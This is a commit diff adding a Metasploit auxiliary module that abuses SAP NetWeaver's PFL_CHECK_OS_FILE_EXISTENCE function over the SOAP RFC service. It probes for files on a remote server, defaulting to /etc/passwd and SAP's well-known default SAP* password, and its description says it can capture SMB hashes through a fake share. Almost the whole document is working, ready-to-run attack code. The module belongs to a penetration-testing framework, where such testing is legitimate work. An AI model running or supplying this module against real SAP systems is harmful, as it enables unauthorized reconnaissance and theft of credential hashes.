Land rapid7#1658, @nmonkee's SAP module for PFL_CHECK_OS_FILE_EXISTENCE

Author: jvazquez-r7

modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb

@@ -0,0 +1,109 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name' => 'SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check',
+			'Description' => %q{
+					This module abuses the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE function, on
+				the SAP SOAP RFC Service, to check for files existence on the remote file system.
+				The module can also be used to capture SMB hashes by using a fake SMB share as
+				FILEPATH.
+			},
+			'References' =>
+				[
+					[ 'OSVDB', '78537' ],
+					[ 'BID', '51645' ],
+					[ 'URL','http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/' ]
+				],
+			'Author' =>
+				[
+					'lexey Tyurin', # Vulnerability discovery
+					'nmonkee' # Metasploit module
+				],
+			'License' => MSF_LICENSE
+		)
+
+		register_options([
+			OptString.new('CLIENT', [true, 'SAP Client', '001']),
+			OptString.new('USERNAME', [true, 'Username', 'SAP*']),
+			OptString.new('PASSWORD', [true, 'Password', '06071992']),
+			OptString.new('FILEPATH',[true,'File Path to check for  (e.g. /etc)','/etc/passwd'])
+		], self.class)
+	end
+
+	def run_host(ip)
+		data = '<?xml version="1.0" encoding="utf-8" ?>'
+		data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  '
+		data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  '
+		data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
+		data << '<SOAP-ENV:Header/>'
+		data << '<SOAP-ENV:Body>'
+		data << '<PFL_CHECK_OS_FILE_EXISTENCE xmlns="urn:sap-com:document:sap:rfc:functions">'
+		data << '<FULLY_QUALIFIED_FILENAME></FULLY_QUALIFIED_FILENAME>'
+		data << '<LONG_FILENAME>' + datastore['FILEPATH'] + '</LONG_FILENAME>'
+		data << '</PFL_CHECK_OS_FILE_EXISTENCE>'
+		data << '</SOAP-ENV:Body>'
+		data << '</SOAP-ENV:Envelope>'
+		begin
+			vprint_status("#{rhost}:#{rport} - Sending request to check #{datastore['FILEPATH']}")
+			res = send_request_cgi({
+				'uri' => '/sap/bc/soap/rfc',
+				'method' => 'POST',
+				'data' => data,
+				'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+				'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+				'ctype' => 'text/xml; charset=UTF-8',
+				'headers' => {
+					'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+				},
+				'vars_get' => {
+					'sap-client' => datastore['CLIENT'],
+					'sap-language' => 'EN'
+				}
+			})
+			if res and res.code == 200 and res.body =~ /PFL_CHECK_OS_FILE_EXISTENCE\.Response/
+				if res.body =~ /<FILE_EXISTS>X<\/FILE_EXISTS>/
+					print_good("#{rhost}:#{rport} - File #{datastore['FILEPATH']} exists")
+				else
+					print_warning("#{rhost}:#{rport} - File #{datastore['FILEPATH']} DOESN'T exist")
+				end
+			elsif res
+				vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s)
+				vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s)
+				vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body
+			end
+		rescue ::Rex::ConnectionError
+			vprint_error("#{rhost}:#{rport} - Unable to connect")
+			return
+		end
+	end
+end